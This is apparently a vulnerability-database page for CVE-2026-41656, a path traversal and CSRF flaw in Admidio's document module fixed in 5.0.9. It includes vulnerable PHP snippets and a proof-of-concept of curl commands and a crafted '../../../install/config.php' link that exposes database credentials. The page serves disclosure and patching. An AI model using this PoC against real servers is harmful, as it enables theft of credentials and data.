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CVE-2026-41656VulnerabilityPublished Updated

admidio/admidio · Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File

Affects admidio/admidioSource GCVE Database

0
Authoritative record:CVE-2026-41656· Medium 4.5

Not known to be exploited · CVSS 4.5 Medium : upgrade to 5.0.9 when convenient.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score
4.5Medium
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 5.0.9
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 7 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade admidio/admidio to 5.0.9.

Affected software

ProductAffectedFixed in
Packagistadmidio/admidioAffected
  • <5.0.9
Fixed in
  • 5.0.9

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The `add` mode in `modules/documents-files.php` accepts a `name` parameter validated only as `'string'` type (HTML encoding), allowing path traversal characters (`../`) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and `SameSite=Lax` session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., `install/config.php` containing database credentials) into a documents folder accessible to the attacker. ## Details **Root cause — incorrect input validation type (modules/documents-files.php:222):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The `'string'` type in `admFuncVariableIsValid()` only applies `SecurityUtils::encodeHTML(StringUtils::strStripTags($value))` (system/bootstrap/function.php:414-416). Since `../` contains no HTML special characters (`<`, `>`, `&`, `"`, `'`), path traversal sequences pass through unchanged. The correct type would be `'file'`, which calls `StringUtils::strIsValidFileName()` (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks `basename($filename) !== $filename` at line 228, which would reject any path containing directory separators. **Missing CSRF protection (modules/documents-files.php:221-238):** ```php case 'add': $getName = admFuncVariableIsValid($_GET, 'name', 'string'); if (!$gCurrentUser->isAdministratorDocumentsFiles()) { throw new Exception('SYS_NO_RIGHTS'); } $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->addFolderOrFileToDatabase($getName); // ... ``` No `SecurityUtils::validateCsrfToken()` or form object validation. Compare with `folder_delete` (line 140) and `file_delete` (line 170) which both validate CSRF tokens. The `add` action operates entirely via GET parameters. **Unsafe path construction (src/Documents/Entity/Folder.php:121-135):** ```php public function addFolderOrFileToDatabase(string $newFolderFileName): void { $newFolderFileName = urldecode($newFolderFileName); $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName; // ... if (is_file($newObjectPath)) { $newFile = new File($this->db); $newFile->setValue('fil_fol_id', $folderId); $newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB // ... $newFile->save(); } } ``` No `realpath()` comparison or `basename()` check. The traversal filename (e.g., `../../../install/config.php`) is stored verbatim as `fil_name` in the database. **File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):** ```php // File.php:88-91 public function getFullFilePath(): string { return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database'); } // DocumentsService.php:75-118 $completePath = $file->getFullFilePath(); // reconstructs traversal path // ... readfile($completePath); // serves arbitrary file ``` **SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):** ```php 'samesite' => 'lax' ``` Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector. ## PoC **Prerequisites:** Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered. ```bash # Step 1: As regular user, browse the documents module to obtain a public folder UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list' # Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000" # Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting) # For a folder at adm_my_files/documents/Photos/, use three levels: PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php' # Step 3: Send this link to a documents administrator (email, chat, etc.) # When the admin clicks it, the server's install/config.php is registered in the Photos folder # The admin sees a redirect back to the documents page (normal behavior) # Step 4: As attacker, list the folder to find the new file entry curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000' # The traversal file appears in the listing with its file_uuid # Step 5: Download the file using its UUID curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>' # Response contains the contents of install/config.php, including: # $g_adm_srv (database host) # $g_adm_usr (database username) # $g_adm_pw (database password) # $g_adm_db (database name) ``` ## Impact - **Arbitrary server file read**: An attacker can read a

References

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